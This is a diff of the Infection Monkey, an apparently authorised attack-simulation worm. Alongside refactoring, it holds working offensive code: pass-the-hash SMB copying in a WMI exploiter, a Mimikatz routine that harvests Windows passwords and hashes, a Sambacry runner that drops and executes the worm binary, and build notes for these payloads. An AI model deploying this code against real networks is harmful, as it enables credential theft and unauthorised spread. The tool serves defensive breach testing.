|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||||
|
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
host.learn_credentials(user, password)
|
host.learn_credentials(user, password)
|
||||||
|
@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
user,
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
user,
|
||||||
|
password,
|
||||||
|
lm_hash,
|
||||||
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout)
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
|
|
|
@ -1,17 +1,18 @@
|
||||||
import sys
|
|
||||||
import os
|
|
||||||
import time
|
|
||||||
import logging
|
|
||||||
import tunnel
|
|
||||||
import argparse
|
import argparse
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
import subprocess
|
import subprocess
|
||||||
from system_singleton import SystemSingleton
|
import sys
|
||||||
from network.firewall import app as firewall
|
import time
|
||||||
from control import ControlClient
|
|
||||||
|
import tunnel
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
from network.network_scanner import NetworkScanner
|
from control import ControlClient
|
||||||
from model import DELAY_DELETE_CMD
|
from model import DELAY_DELETE_CMD
|
||||||
|
from network.firewall import app as firewall
|
||||||
|
from network.network_scanner import NetworkScanner
|
||||||
from system_info import SystemInfoCollector
|
from system_info import SystemInfoCollector
|
||||||
|
from system_singleton import SystemSingleton
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -80,8 +81,6 @@ class ChaosMonkey(object):
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.start()
|
monkey_tunnel.start()
|
||||||
|
|
||||||
last_exploit_time = None
|
|
||||||
|
|
||||||
ControlClient.send_telemetry("state", {'done': False})
|
ControlClient.send_telemetry("state", {'done': False})
|
||||||
|
|
||||||
self._default_server = WormConfiguration.current_server
|
self._default_server = WormConfiguration.current_server
|
||||||
|
@ -101,7 +100,7 @@ class ChaosMonkey(object):
|
||||||
else:
|
else:
|
||||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||||
|
|
||||||
for _ in xrange(WormConfiguration.max_iterations):
|
for iteration_index in xrange(WormConfiguration.max_iterations):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
|
@ -146,7 +145,6 @@ class ChaosMonkey(object):
|
||||||
LOG.debug("Skipping %r - exploitation failed before", machine)
|
LOG.debug("Skipping %r - exploitation failed before", machine)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.set_tunnel_for_host(machine)
|
monkey_tunnel.set_tunnel_for_host(machine)
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
|
@ -171,14 +169,15 @@ class ChaosMonkey(object):
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||||
'exploiter': exploiter.__class__.__name__})
|
'exploiter': exploiter.__class__.__name__})
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.error("Exception while attacking %s using %s: %s",
|
LOG.exception("Exception while attacking %s using %s: %s",
|
||||||
machine, exploiter.__class__.__name__, exc)
|
machine, exploiter.__class__.__name__, exc)
|
||||||
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||||
|
'exploiter': exploiter.__class__.__name__})
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if successful_exploiter:
|
if successful_exploiter:
|
||||||
self._exploited_machines.add(machine)
|
self._exploited_machines.add(machine)
|
||||||
last_exploit_time = time.time()
|
|
||||||
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
|
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
|
||||||
'exploiter': successful_exploiter.__class__.__name__})
|
'exploiter': successful_exploiter.__class__.__name__})
|
||||||
|
|
||||||
|
@ -194,8 +193,10 @@ class ChaosMonkey(object):
|
||||||
else:
|
else:
|
||||||
self._fail_exploitation_machines.add(machine)
|
self._fail_exploitation_machines.add(machine)
|
||||||
|
|
||||||
if not is_empty:
|
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
|
||||||
time.sleep(WormConfiguration.timeout_between_iterations)
|
time_to_sleep = WormConfiguration.timeout_between_iterations
|
||||||
|
LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
|
||||||
|
time.sleep(time_to_sleep)
|
||||||
|
|
||||||
if self._keep_running and WormConfiguration.alive:
|
if self._keep_running and WormConfiguration.alive:
|
||||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||||
|
@ -204,8 +205,10 @@ class ChaosMonkey(object):
|
||||||
|
|
||||||
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
|
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
|
||||||
# connect to the tunnel
|
# connect to the tunnel
|
||||||
if last_exploit_time and (time.time() - last_exploit_time < 60):
|
if len(self._exploited_machines) > 0:
|
||||||
time.sleep(time.time() - last_exploit_time)
|
time_to_sleep = WormConfiguration.keep_tunnel_open_time
|
||||||
|
LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
|
||||||
|
time.sleep(time_to_sleep)
|
||||||
|
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.stop()
|
monkey_tunnel.stop()
|
||||||
|
@ -240,7 +243,7 @@ class ChaosMonkey(object):
|
||||||
close_fds=True, startupinfo=startupinfo)
|
close_fds=True, startupinfo=startupinfo)
|
||||||
else:
|
else:
|
||||||
os.remove(sys.executable)
|
os.remove(sys.executable)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.error("Exception in self delete: %s", exc)
|
LOG.error("Exception in self delete: %s", exc)
|
||||||
|
|
||||||
LOG.info("Monkey is shutting down")
|
LOG.info("Monkey is shutting down")
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
|
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
|
||||||
gcc -shared -m64 -o sc_monkey_runner_64.so sc_monkey_runner.o
|
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
|
||||||
rm sc_monkey_runner.o
|
rm sc_monkey_runner.o
|
||||||
strip sc_monkey_runner_64.so
|
strip sc_monkey_runner64.so
|
||||||
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
|
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
|
||||||
gcc -shared -m32 -o sc_monkey_runner_32.so sc_monkey_runner.o
|
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
|
||||||
rm sc_monkey_runner.o
|
rm sc_monkey_runner.o
|
||||||
strip sc_monkey_runner_32.so
|
strip sc_monkey_runner32.so
|
|
@ -22,16 +22,16 @@ int samba_init_module(void)
|
||||||
#ifdef ARCH_IS_64
|
#ifdef ARCH_IS_64
|
||||||
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||||
const char MONKEY_NAME[] = "monkey64";
|
const char MONKEY_NAME[] = "monkey64";
|
||||||
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
|
||||||
#else
|
#else
|
||||||
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||||
const char MONKEY_NAME[] = "monkey32";
|
const char MONKEY_NAME[] = "monkey32";
|
||||||
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
|
||||||
#endif
|
#endif
|
||||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||||
const int ACCESS_MODE = 0777;
|
const int ACCESS_MODE = 0777;
|
||||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
const char RUN_MONKEY_CMD[] = "./";
|
||||||
|
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
||||||
|
const char MONKEY_DEST_NAME[] = "monkey";
|
||||||
|
|
||||||
int found = 0;
|
int found = 0;
|
||||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||||
|
@ -102,7 +102,7 @@ int samba_init_module(void)
|
||||||
|
|
||||||
// Build commandline
|
// Build commandline
|
||||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
||||||
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
|
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
|
||||||
strncat(commandline, " ", 1);
|
strncat(commandline, " ", 1);
|
||||||
|
|
||||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||||
|
@ -133,7 +133,12 @@ int samba_init_module(void)
|
||||||
fread(monkeyBinary, 1, monkeySize, pFile);
|
fread(monkeyBinary, 1, monkeySize, pFile);
|
||||||
fclose(pFile);
|
fclose(pFile);
|
||||||
|
|
||||||
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
if (0 != chdir(MONKEY_DEST_FOLDER))
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
pFile = fopen(MONKEY_DEST_NAME, "wb");
|
||||||
if (NULL == pFile)
|
if (NULL == pFile)
|
||||||
{
|
{
|
||||||
free(monkeyBinary);
|
free(monkeyBinary);
|
||||||
|
@ -144,7 +149,7 @@ int samba_init_module(void)
|
||||||
free(monkeyBinary);
|
free(monkeyBinary);
|
||||||
|
|
||||||
// Change monkey permissions
|
// Change monkey permissions
|
||||||
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
|
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
|
@ -29,6 +29,8 @@ def get_host_subnets():
|
||||||
for network in ipv4_nets:
|
for network in ipv4_nets:
|
||||||
if 'broadcast' in network:
|
if 'broadcast' in network:
|
||||||
network.pop('broadcast')
|
network.pop('broadcast')
|
||||||
|
for attr in network:
|
||||||
|
network[attr] = network[attr].encode('utf-8').strip()
|
||||||
return ipv4_nets
|
return ipv4_nets
|
||||||
|
|
||||||
|
|
||||||
|
@ -47,8 +49,7 @@ else:
|
||||||
|
|
||||||
|
|
||||||
def local_ips():
|
def local_ips():
|
||||||
ipv4_nets = get_host_subnets()
|
valid_ips = [network['addr'] for network in get_host_subnets()]
|
||||||
valid_ips = [network['addr'] for network in ipv4_nets]
|
|
||||||
return valid_ips
|
return valid_ips
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,39 +1,58 @@
|
||||||
How to create a monkey build environment:
|
How to build a monkey binary from scratch.
|
||||||
|
|
||||||
|
The monkey is composed of three seperate parts.
|
||||||
|
* The Infection Monkey itself - PyInstaller compressed python archives
|
||||||
|
* Sambacry binaries - Two linux binaries, 32/64 bit.
|
||||||
|
* Mimikatz binaries - Two windows binaries, 32/64 bit.
|
||||||
|
|
||||||
|
--- Windows ---
|
||||||
|
|
||||||
Windows:
|
|
||||||
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
|
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
|
||||||
You must use an up to date version, atleast version 2.7.10
|
You must use an up to date version, at least version 2.7.10
|
||||||
http://www.activestate.com/activepython/downloads
|
http://www.activestate.com/activepython/downloads
|
||||||
https://www.python.org/downloads/release/python-2712/
|
https://www.python.org/downloads/release/python-2712/
|
||||||
2. install pywin32-219.win32-py2.7.exe at least
|
If not using ActiveState, install pywin32, minimum build 219
|
||||||
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
|
http://sourceforge.net/projects/pywin32/files/pywin32
|
||||||
3. a. install VCForPython27.msi
|
3. a. install VCForPython27.msi
|
||||||
http://www.microsoft.com/en-us/download/details.aspx?id=44266
|
https://aka.ms/vcpython27
|
||||||
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
|
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
|
||||||
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
|
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
|
||||||
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
|
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
|
||||||
4. Download & Run get-pip.py
|
4. Download the dependent python packages using
|
||||||
https://bootstrap.pypa.io/get-pip.py
|
pip install -r requirements.txt
|
||||||
5. Run:
|
5. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
|
||||||
Install the python packages listed in requirements.txt. Using pip install -r requirements.txt
|
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
|
||||||
7. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
|
6. To build the final exe:
|
||||||
http://upx.sourceforge.net/download/upx391w.zip
|
1 cd [code location]/chaos_monkey
|
||||||
8. (Optional) For some exploits to work better, install 'dnet' python library. You'll need to compile it for your OS
|
build_windows.bat
|
||||||
or use a precompiled setup that can be found at:
|
output is in dist\monkey.exe
|
||||||
32bit: https://github.com/Kondziowy/scapy_win64/raw/master/win32/dnet-1.12.win32-py2.7.exe
|
|
||||||
64bit: https://github.com/Kondziowy/scapy_win64/raw/master/win64/dnet-1.12.win-amd64-py2.7.exe
|
--- Linux ---
|
||||||
9. Run [source-path]\monkey\chaos_monkey\build_windows.bat to build, output is in dist\monkey.exe
|
|
||||||
|
Tested on Ubuntu 16.04 and 17.04.
|
||||||
|
|
||||||
Linux (Tested on Ubuntu 12.04):
|
|
||||||
1. Run:
|
1. Run:
|
||||||
sudo apt-get update
|
sudo apt-get update
|
||||||
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||||
Install the python packages listed in requirements.txt.
|
Install the python packages listed in requirements.txt.
|
||||||
Using pip install -r requirements.txt
|
Using pip install -r requirements.txt
|
||||||
sudo apt-get install winbind
|
sudo apt-get install winbind dnet-common
|
||||||
2. Put source code in /home/user/Code/monkey/chaos_monkey
|
2. Put source code in Code/monkey/chaos_monkey
|
||||||
3. To build, run in terminal:
|
3. To build, run in terminal:
|
||||||
cd /home/user/Code/monkey/chaos_monkey
|
cd [code location]/chaos_monkey
|
||||||
chmod +x build_linux.sh
|
chmod +x build_linux.sh
|
||||||
./build_linux.sh
|
./build_linux.sh
|
||||||
output is in dist/monkey
|
output is in dist/monkey
|
||||||
|
|
||||||
|
-- Sambacry --
|
||||||
|
|
||||||
|
Sambacry requires two standalone binaries to execute remotely.
|
||||||
|
Compiling them requires gcc
|
||||||
|
cd [code location]/chaos_monkey/monkey_utils/sambacry_monkey_runner
|
||||||
|
./build.sh
|
||||||
|
|
||||||
|
-- Mimikatz --
|
||||||
|
|
||||||
|
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||||
|
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
||||||
|
Download both 32 and 64 bit DLLs and place them under [code location]\chaos_monkey\bin
|
||||||
|
|
|
@ -8,7 +8,7 @@ rdpy
|
||||||
requests
|
requests
|
||||||
odict
|
odict
|
||||||
paramiko
|
paramiko
|
||||||
psutil
|
psutil==3.4.2
|
||||||
PyInstaller
|
PyInstaller
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
|
|
|
@ -6,6 +6,12 @@ from enum import IntEnum
|
||||||
|
|
||||||
from network.info import get_host_subnets
|
from network.info import get_host_subnets
|
||||||
|
|
||||||
|
# Linux doesn't have WindowsError
|
||||||
|
try:
|
||||||
|
WindowsError
|
||||||
|
except NameError:
|
||||||
|
WindowsError = None
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,14 +1,13 @@
|
||||||
import ctypes
|
import ctypes
|
||||||
import binascii
|
import binascii
|
||||||
import logging
|
import logging
|
||||||
|
import socket
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class MimikatzCollector:
|
class MimikatzCollector:
|
||||||
"""
|
"""
|
||||||
Password collection module for Windows using Mimikatz.
|
Password collection module for Windows using Mimikatz.
|
||||||
|
@ -24,7 +23,7 @@ class MimikatzCollector:
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
self._collect = collect_proto(("collect", self._dll))
|
||||||
self._get = get_proto(("get", self._dll))
|
self._get = get_proto(("get", self._dll))
|
||||||
self._isInit = True
|
self._isInit = True
|
||||||
except StandardError as ex:
|
except StandardError:
|
||||||
LOG.exception("Error initializing mimikatz collector")
|
LOG.exception("Error initializing mimikatz collector")
|
||||||
|
|
||||||
def get_logon_info(self):
|
def get_logon_info(self):
|
||||||
|
@ -40,18 +39,28 @@ class MimikatzCollector:
|
||||||
entry_count = self._collect()
|
entry_count = self._collect()
|
||||||
|
|
||||||
logon_data_dictionary = {}
|
logon_data_dictionary = {}
|
||||||
|
hostname = socket.gethostname()
|
||||||
|
|
||||||
for i in range(entry_count):
|
for i in range(entry_count):
|
||||||
entry = self._get()
|
entry = self._get()
|
||||||
username = str(entry.username)
|
username = entry.username.encode('utf-8').strip()
|
||||||
password = str(entry.password)
|
|
||||||
|
password = entry.password.encode('utf-8').strip()
|
||||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
||||||
has_password = (0 != len(password))
|
|
||||||
|
if 0 == len(password):
|
||||||
|
has_password = False
|
||||||
|
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
||||||
|
# Don't save the password of the host domain user (HOSTNAME$)
|
||||||
|
has_password = False
|
||||||
|
else:
|
||||||
|
has_password = True
|
||||||
|
|
||||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||||
|
|
||||||
if not logon_data_dictionary.has_key(username):
|
if username not in logon_data_dictionary:
|
||||||
logon_data_dictionary[username] = {}
|
logon_data_dictionary[username] = {}
|
||||||
if has_password:
|
if has_password:
|
||||||
logon_data_dictionary[username]["password"] = password
|
logon_data_dictionary[username]["password"] = password
|
||||||
|
@ -61,7 +70,7 @@ class MimikatzCollector:
|
||||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||||
|
|
||||||
return logon_data_dictionary
|
return logon_data_dictionary
|
||||||
except StandardError as ex:
|
except StandardError:
|
||||||
LOG.exception("Error getting logon info")
|
LOG.exception("Error getting logon info")
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
import sys
|
|
||||||
import ctypes
|
import ctypes
|
||||||
import logging
|
import logging
|
||||||
|
import sys
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -28,7 +29,7 @@ class _SystemSingleton(object):
|
||||||
|
|
||||||
class WindowsSystemSingleton(_SystemSingleton):
|
class WindowsSystemSingleton(_SystemSingleton):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
|
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
|
||||||
self._mutex_handle = None
|
self._mutex_handle = None
|
||||||
|
|
||||||
@property
|
@property
|
||||||
|
@ -84,7 +85,7 @@ class LinuxSystemSingleton(_SystemSingleton):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.bind('\0' + self._unix_sock_name)
|
sock.bind('\0' + self._unix_sock_name)
|
||||||
except socket.error, e:
|
except socket.error as e:
|
||||||
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
|
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
|
||||||
self._unix_sock_name, e.args[0], e.args[1])
|
self._unix_sock_name, e.args[0], e.args[1])
|
||||||
return False
|
return False
|
||||||
|
@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
|
||||||
self._sock_handle.close()
|
self._sock_handle.close()
|
||||||
self._sock_handle = None
|
self._sock_handle = None
|
||||||
|
|
||||||
|
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
import winerror
|
import winerror
|
||||||
|
|
||||||
SystemSingleton = WindowsSystemSingleton
|
SystemSingleton = WindowsSystemSingleton
|
||||||
else:
|
else:
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
SystemSingleton = LinuxSystemSingleton
|
SystemSingleton = LinuxSystemSingleton
|
||||||
|
|
|
@ -1,10 +1,14 @@
|
||||||
import urllib, BaseHTTPServer, threading, os.path
|
import BaseHTTPServer
|
||||||
import monkeyfs
|
import os.path
|
||||||
from logging import getLogger
|
|
||||||
from base import TransportProxyBase, update_last_serve_time
|
|
||||||
from urlparse import urlsplit
|
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
|
import threading
|
||||||
|
import urllib
|
||||||
|
from logging import getLogger
|
||||||
|
from urlparse import urlsplit
|
||||||
|
|
||||||
|
import monkeyfs
|
||||||
|
from base import TransportProxyBase, update_last_serve_time
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
def send_head(self):
|
def send_head(self):
|
||||||
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
|
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
|
||||||
self.send_error (500, "")
|
self.send_error(500, "")
|
||||||
return
|
return None, 0, 0
|
||||||
f = None
|
f = None
|
||||||
try:
|
try:
|
||||||
f = monkeyfs.open(self.filename, 'rb')
|
f = monkeyfs.open(self.filename, 'rb')
|
||||||
|
@ -163,7 +167,7 @@ class HTTPServer(threading.Thread):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def report_download(dest=None):
|
def report_download(dest=None):
|
||||||
LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1]))
|
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||||
self.downloads += 1
|
self.downloads += 1
|
||||||
|
|
||||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
|
|
|
@ -1,14 +1,15 @@
|
||||||
|
import logging
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import logging
|
|
||||||
from threading import Thread
|
|
||||||
from network.info import local_ips, get_free_tcp_port
|
|
||||||
from network.firewall import app as firewall
|
|
||||||
from transport.base import get_last_serve_time
|
|
||||||
from difflib import get_close_matches
|
|
||||||
from network.tools import check_port_tcp
|
|
||||||
from model import VictimHost
|
|
||||||
import time
|
import time
|
||||||
|
from difflib import get_close_matches
|
||||||
|
from threading import Thread
|
||||||
|
|
||||||
|
from model import VictimHost
|
||||||
|
from network.firewall import app as firewall
|
||||||
|
from network.info import local_ips, get_free_tcp_port
|
||||||
|
from network.tools import check_port_tcp
|
||||||
|
from transport.base import get_last_serve_time
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.sendto("+", (address, MCAST_PORT))
|
sock.sendto("+", (address, MCAST_PORT))
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
||||||
|
|
||||||
if not existing_sock:
|
if not existing_sock:
|
||||||
|
@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
sock.close()
|
sock.close()
|
||||||
return address, port
|
return address, port
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Caught exception in tunnel lookup: %s", exc)
|
LOG.debug("Caught exception in tunnel lookup: %s", exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -104,7 +105,7 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
||||||
sock.sendto("-", (address, MCAST_PORT))
|
sock.sendto("-", (address, MCAST_PORT))
|
||||||
sock.close()
|
sock.close()
|
||||||
LOG.debug("Success quitting tunnel")
|
LOG.debug("Success quitting tunnel")
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Exception quitting tunnel: %s", exc)
|
LOG.debug("Exception quitting tunnel: %s", exc)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|
|
@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
|
||||||
update['$set']['config_error'] = monkey_json['config_error']
|
update['$set']['config_error'] = monkey_json['config_error']
|
||||||
|
|
||||||
if 'tunnel' in monkey_json:
|
if 'tunnel' in monkey_json:
|
||||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
|
||||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
|
|
||||||
|
|
||||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||||
|
|
||||||
|
@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
|
||||||
else:
|
else:
|
||||||
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
|
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
|
||||||
|
|
||||||
tunnel_host_id = None
|
tunnel_host_ip = None
|
||||||
if 'tunnel' in monkey_json:
|
if 'tunnel' in monkey_json:
|
||||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
|
||||||
monkey_json.pop('tunnel')
|
monkey_json.pop('tunnel')
|
||||||
|
|
||||||
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||||
|
@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
|
||||||
|
|
||||||
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
|
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
|
||||||
|
|
||||||
if tunnel_host_id is not None:
|
if tunnel_host_ip is not None:
|
||||||
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
|
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
|
||||||
|
|
||||||
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
|
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
|
||||||
|
|
||||||
|
|
|
@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
def process_tunnel_telemetry(self, telemetry_json):
|
